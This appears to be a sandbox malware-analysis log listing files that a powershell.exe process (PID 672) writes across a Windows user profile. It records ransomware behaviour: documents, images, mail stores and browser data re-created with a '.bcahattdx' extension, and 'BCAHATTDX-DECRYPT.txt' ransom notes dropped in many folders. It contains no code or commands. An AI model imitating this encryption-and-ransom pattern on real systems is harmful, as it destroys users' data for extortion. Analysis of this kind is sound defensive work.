672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1059394878bslnoicgkullipsFt2s%.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.ueberland-garage.mehrmarken[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@garage-schwyn.mehrmarken[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.garage-schwyn.mehrmarken[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@disch.mehrmarken[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.disch.mehrmarken[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@alimentarium[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@hotellido-lugano[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.elite-biel[2].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.elite-biel[1].txt ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.staubbach[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.stalden[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.stalden[2].txt ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.stalden[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@kroneregensberg[2].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@kroneregensberg[1].txt ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.kroneregensberg[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.hotelgarni-battello[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.hoteltruite[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.hoteltruite[2].txt ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@bellevuewiesen[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.waageglarus[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.bristol-adelboden[2].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.bristol-adelboden[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie[2].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie[1].txt ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie-hotel[2].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie-hotel[1].txt ––
672 powershell.exe C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 binary
672 powershell.exe C:\Users\admin\AppData\Local\Temp\TarD39C.tmp ––
672 powershell.exe C:\Users\admin\AppData\Local\Temp\CabD39B.tmp ––
672 powershell.exe C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 compressed
672 powershell.exe C:\Users\admin\AppData\Local\Temp\CabD31C.tmp ––
672 powershell.exe C:\Users\admin\AppData\Local\Temp\TarD31D.tmp ––
672 powershell.exe C:\Users\admin\AppData\Local\Temp\TarD2FC.tmp ––
672 powershell.exe C:\Users\admin\AppData\Local\Temp\CabD2FB.tmp ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.morcote-residenza[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@belvedere-locarno[1].txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.pizcam[1].txt text
672 powershell.exe C:\Users\admin\AppData\Local\Temp\pidor.bmp image
672 powershell.exe C:\Users\Public\Videos\Sample Videos\Wildlife.wmv ––
672 powershell.exe C:\Users\Public\Videos\Sample Videos\Wildlife.wmv.bcahattdx ––
672 powershell.exe C:\Users\Public\Videos\Sample Videos\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\Public\Recorded TV\Sample Media\win7_scenic-demoshort_raw.wtv ––
672 powershell.exe C:\Users\Public\Recorded TV\Sample Media\win7_scenic-demoshort_raw.wtv.bcahattdx ––
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg.bcahattdx vc
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg.bcahattdx binary
672 powershell.exe C:\Users\Public\Recorded TV\Sample Media\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\Public\Recorded TV\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg ––
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg ––
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg.bcahattdx binary
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg ––
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Koala.jpg.bcahattdx binary
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Koala.jpg ––
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg.bcahattdx binary
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg ––
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg.bcahattdx binary
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg ––
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Desert.jpg.bcahattdx binary
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Desert.jpg ––
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg.bcahattdx binary
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg ––
672 powershell.exe C:\Users\Public\Pictures\Sample Pictures\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\Public\Music\Sample Music\Sleep Away.mp3.bcahattdx ––
672 powershell.exe C:\Users\Public\Music\Sample Music\Sleep Away.mp3 ––
672 powershell.exe C:\Users\Public\Music\Sample Music\Maid with the Flaxen Hair.mp3.bcahattdx binary
672 powershell.exe C:\Users\Public\Music\Sample Music\Maid with the Flaxen Hair.mp3 ––
672 powershell.exe C:\Users\Public\Music\Sample Music\Kalimba.mp3.bcahattdx ––
672 powershell.exe C:\Users\Public\Music\Sample Music\Kalimba.mp3 ––
672 powershell.exe C:\Users\Public\Libraries\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\Public\Libraries\RecordedTV.library-ms.bcahattdx binary
672 powershell.exe C:\Users\Public\Music\Sample Music\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\Public\Libraries\RecordedTV.library-ms ––
672 powershell.exe C:\Users\Public\Videos\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\Public\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\Public\Pictures\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\Public\Downloads\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\Public\Favorites\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\Public\Music\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\Public\Documents\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\SendTo\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Searches\Microsoft Outlook.searchconnector-ms.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Templates\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Searches\Microsoft Outlook.searchconnector-ms ––
672 powershell.exe C:\Users\admin\Searches\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Saved Games\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Searches\Microsoft OneNote.searchconnector-ms.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Pictures\supershow.jpg.bcahattdx binary
672 powershell.exe C:\Users\admin\Pictures\betterwritten.jpg.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Pictures\skipguy.png.bcahattdx binary
672 powershell.exe C:\Users\admin\Searches\Microsoft OneNote.searchconnector-ms ––
672 powershell.exe C:\Users\admin\Pictures\supershow.jpg ––
672 powershell.exe C:\Users\admin\Pictures\betterwritten.jpg ––
672 powershell.exe C:\Users\admin\Pictures\skipguy.png ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Links\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Mail.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Spaces.url.bcahattdx binary
672 powershell.exe C:\Users\admin\ntuser.ini.bcahattdx binary
672 powershell.exe C:\Users\admin\ntuser.ini ––
672 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Mail.url ––
672 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Spaces.url ––
672 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSNBC News.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Gallery.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\Windows Live\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Favorites\Windows Live\Get Windows Live.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSNBC News.url ––
672 powershell.exe C:\Users\admin\Favorites\Windows Live\Get Windows Live.url ––
672 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Gallery.url ––
672 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Money.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Sports.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Entertainment.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Money.url ––
672 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN.url ––
672 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Sports.url ––
672 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Entertainment.url ––
672 powershell.exe C:\Users\admin\Favorites\MSN Websites\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft Store.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Autos.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Work.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Home.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Autos.url ––
672 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft Store.url ––
672 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Work.url ––
672 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Home.url ––
672 powershell.exe C:\Users\admin\Favorites\Links for United States\GobiernoUSA.gov.url.bcahattdx flc
672 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\IE Add-on site.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\IE site on Microsoft.com.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\Links for United States\USA.gov.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\IE Add-on site.url ––
672 powershell.exe C:\Users\admin\Favorites\Links for United States\USA.gov.url ––
672 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\IE site on Microsoft.com.url ––
672 powershell.exe C:\Users\admin\Favorites\Links for United States\GobiernoUSA.gov.url ––
672 powershell.exe C:\Users\admin\Downloads\wineselection.jpg.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Favorites\Links for United States\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Favorites\Links\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Favorites\Links\Suggested Sites.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Downloads\pressfunds.jpg.bcahattdx binary
672 powershell.exe C:\Users\admin\Favorites\Links\Web Slice Gallery.url.bcahattdx binary
672 powershell.exe C:\Users\admin\Downloads\pressfunds.jpg ––
672 powershell.exe C:\Users\admin\Favorites\Links\Web Slice Gallery.url ––
672 powershell.exe C:\Users\admin\Favorites\Links\Suggested Sites.url ––
672 powershell.exe C:\Users\admin\Downloads\wineselection.jpg ––
672 powershell.exe C:\Users\admin\Downloads\modeoutside.png.bcahattdx binary
672 powershell.exe C:\Users\admin\Downloads\differenceinterface.png.bcahattdx binary
672 powershell.exe C:\Users\admin\Downloads\backbreak.jpg.bcahattdx binary
672 powershell.exe C:\Users\admin\Downloads\modeoutside.png ––
672 powershell.exe C:\Users\admin\Downloads\differenceinterface.png ––
672 powershell.exe C:\Users\admin\Downloads\backbreak.jpg ––
672 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook.pst.bcahattdx binary
672 powershell.exe C:\Users\admin\Downloads\asianways.jpg.bcahattdx binary
672 powershell.exe C:\Users\admin\Downloads\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Downloads\asianways.jpg ––
672 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook.pst ––
672 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - test.pst.bcahattdx binary
672 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - NoMail.pst.bcahattdx binary
672 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - test.pst ––
672 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - NoMail.pst ––
672 powershell.exe C:\Users\admin\Documents\Outlook Files\honey@pot.com.pst.bcahattdx binary
672 powershell.exe C:\Users\admin\Documents\Outlook Files\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Unfiled Notes.one.bcahattdx binary
672 powershell.exe C:\Users\admin\Documents\Outlook Files\honey@pot.com.pst ––
672 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Open Notebook.onetoc2.bcahattdx binary
672 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Unfiled Notes.one ––
672 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\General.one.bcahattdx vc
672 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Open Notebook.onetoc2 ––
672 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\General.one ––
672 powershell.exe C:\Users\admin\Music\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Documents\estrisk.rtf.bcahattdx binary
672 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Documents\multidirector.rtf.bcahattdx binary
672 powershell.exe C:\Users\admin\Pictures\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Videos\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Documents\estrisk.rtf ––
672 powershell.exe C:\Users\admin\Documents\multidirector.rtf ––
672 powershell.exe C:\Users\admin\Documents\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Desktop\trackmaintenance.rtf.bcahattdx binary
672 powershell.exe C:\Users\admin\Documents\businesssecurity.rtf.bcahattdx binary
672 powershell.exe C:\Users\admin\Desktop\trackmaintenance.rtf ––
672 powershell.exe C:\Users\admin\Documents\businesssecurity.rtf ––
672 powershell.exe C:\Users\admin\Desktop\hotelgermany.png.bcahattdx binary
672 powershell.exe C:\Users\admin\Desktop\odeveloping.png.bcahattdx binary
672 powershell.exe C:\Users\admin\Desktop\tipssure.rtf.bcahattdx binary
672 powershell.exe C:\Users\admin\Desktop\odeveloping.png ––
672 powershell.exe C:\Users\admin\Desktop\tipssure.rtf ––
672 powershell.exe C:\Users\admin\Desktop\gfishing.rtf.bcahattdx binary
672 powershell.exe C:\Users\admin\Desktop\hotelgermany.png ––
672 powershell.exe C:\Users\admin\Desktop\gfishing.rtf ––
672 powershell.exe C:\Users\admin\Desktop\againstpanel.png.bcahattdx binary
672 powershell.exe C:\Users\admin\Desktop\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Desktop\edgecable.jpg.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\Desktop\edgecable.jpg ––
672 powershell.exe C:\Users\admin\Desktop\againstpanel.png ––
672 powershell.exe C:\Users\admin\Contacts\admin.contact.bcahattdx binary
672 powershell.exe C:\Users\admin\Contacts\admin.contact ––
672 powershell.exe C:\Users\admin\Contacts\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\WinRAR\version.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\WinRAR\version.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\WinRAR\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Sun\Java\Deployment\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\skypert.conf.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ul.conf.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Sun\Java\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Sun\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\skypert.conf ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ul.conf ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ecs.conf.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ecs.conf ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_httpfe\queue.db.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_httpfe\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_httpfe\queue.db ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db-journal.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db-journal ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\logs\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\DataRv\offline-storage.data.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\DataRv\offline-storage.data ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\DataRv\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\wand.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Skype\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\webserver\users.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\webserver\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\webserver\users.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\wand.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\vlink4.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\typed_history.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tips.ini.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\typed_history.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\vlink4.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tips.ini ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tasks.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\tablelayout.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\toc.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\toc.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tasks.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\tablelayout.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structuretables.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structuretables.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureinline.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureinline.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureblock.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureblock.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\outline.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\outline.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disabletables.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disabletables.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablepositioning.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablepositioning.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disableforms.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disableforms.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablefloats.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablefloats.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablebreaks.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablebreaks.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastbw.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastwb.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastbw.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastwb.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\classid.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\classid.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\accessibility.css.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\altdebugger.css.bcahattdx mp3
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\altdebugger.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\accessibility.css ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\speeddial.ini.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\speeddial.ini ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win.bak.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win.bak ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opuntrust.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opuntrust.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\optrust.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\optrust.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opthumb.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opthumb.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opssl6.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opssl6.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\oprand.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\oprand.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opicacrt6.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opicacrt6.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\operaprefs.ini.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\operaprefs.ini ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcert6.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcert6.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcacrt6.dat.bcahattdx gpg
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcacrt6.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\handlers.ini.bcahattdx bs
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\handlers.ini ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\global_history.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\global_history.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\download.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\download.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\cookies4.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\cookies4.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\bookmarks.adr.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\bookmarks.adr ––
